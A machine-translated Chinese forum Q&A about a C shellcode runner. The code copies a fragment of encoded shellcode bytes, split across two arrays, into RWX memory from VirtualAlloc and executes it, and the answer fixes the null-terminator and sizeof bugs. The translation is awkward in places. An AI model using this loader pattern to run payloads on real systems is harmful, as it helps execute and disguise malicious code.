运行的shellcode

Question

我有以下至极运行工作正常一个的shellcode：

unsigned char original[] = 
      "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1" 
      "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d" 
      "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1" 
      "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71"  
      ; 
    void *exec = VirtualAlloc(0, sizeof original, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    memcpy(exec, original, sizeof original); 
    ((void(*)())exec)(); 

当我尝试运行存储在2 distincts阵列相同的shellcode我得到一个访问冲突：

unsigned char part1[] = 
     "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1" 
     "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d" 
     ; 
    unsigned char part2[] = "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1" 
     "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71"; 
//build the final shellcode array 
unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2)+1); 
    //concatenation 
    memcpy(concatenation, part1, sizeof part1); 
    memcpy(concatenation + sizeof part1 , part2, sizeof part2); 
//allocationg memory and running it 
    void *exec = VirtualAlloc(0, sizeof concatenation, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    memcpy(exec, concatenation, sizeof concatenation); 
    ((void(*)())exec)(); 

我试图让第二个例子工作，但我得到了访问冲突错误。 我做错了什么？ 谢谢。

---

UPDATE

此以下阿兰上校三十二个建议修改后的代码，我现在得到以下错误： “TEST.EXE引发了breakpoin吨”

unsigned char part1[] = 
      "\xd9\xee\xd9\x74\x24\xf4\x58\xbb\xa6\xfb\x51\x8f\x33\xc9\xb1" 
      "\x62\x83\xe8\xfc\x31\x58\x16\x03\x58\x16\xe2\x53\x07\xb9\x0d" 
      ; 
     unsigned char part2[] = "\x9b\xf8\x3a\x72\x12\x1d\x0b\xb2\x40\x55\x3c\x02\x03\x3b\xb1" 
      "\xe9\x41\xa8\x42\x9f\x4d\xdf\xe3\x2a\xab\xee\xf4\x07\x8f\x71"; 
unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2)); 

    memcpy(concatenation, part1-1, sizeof part1); 
    memcpy(concatenation + sizeof part1 , part2, sizeof part2); 
    printf("%d", sizeof(original)); 
    void *exec = VirtualAlloc(0, sizeof (*concatenation), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    memcpy(exec, concatenation, sizeof(*concatenation)); 
    ((void(*)())exec)(); 

---

工作代码：

unsigned char * concatenation = (unsigned char*)malloc(sizeof (part1)+sizeof(part2)); 

    memcpy(concatenation, part1, sizeof part1); 
    memcpy(concatenation + sizeof part1-1, part2, sizeof part2); 

    void *exec = VirtualAlloc(0, sizeof(part1) + sizeof(part2), MEM_COMMIT, PAGE_EXECUTE_READWRITE); 
    memcpy(exec, concatenation, sizeof(part1)+sizeof(part2)); 
    ((void(*)())exec)(); 

Answer 1

字符串文字以nul结尾，终止nul字节由sizeof计数。因此，当使用2阵列版本时，最终阵列中间有一个空字节。

如果更改

memcpy(concatenation + sizeof part1 , part2, sizeof part2); 

到

memcpy(concatenation + sizeof part1 - 1, part2, sizeof part2); 

，我认为它应该工作。

正如第三十二上校指出的那样，sizeof concatenation也有错误。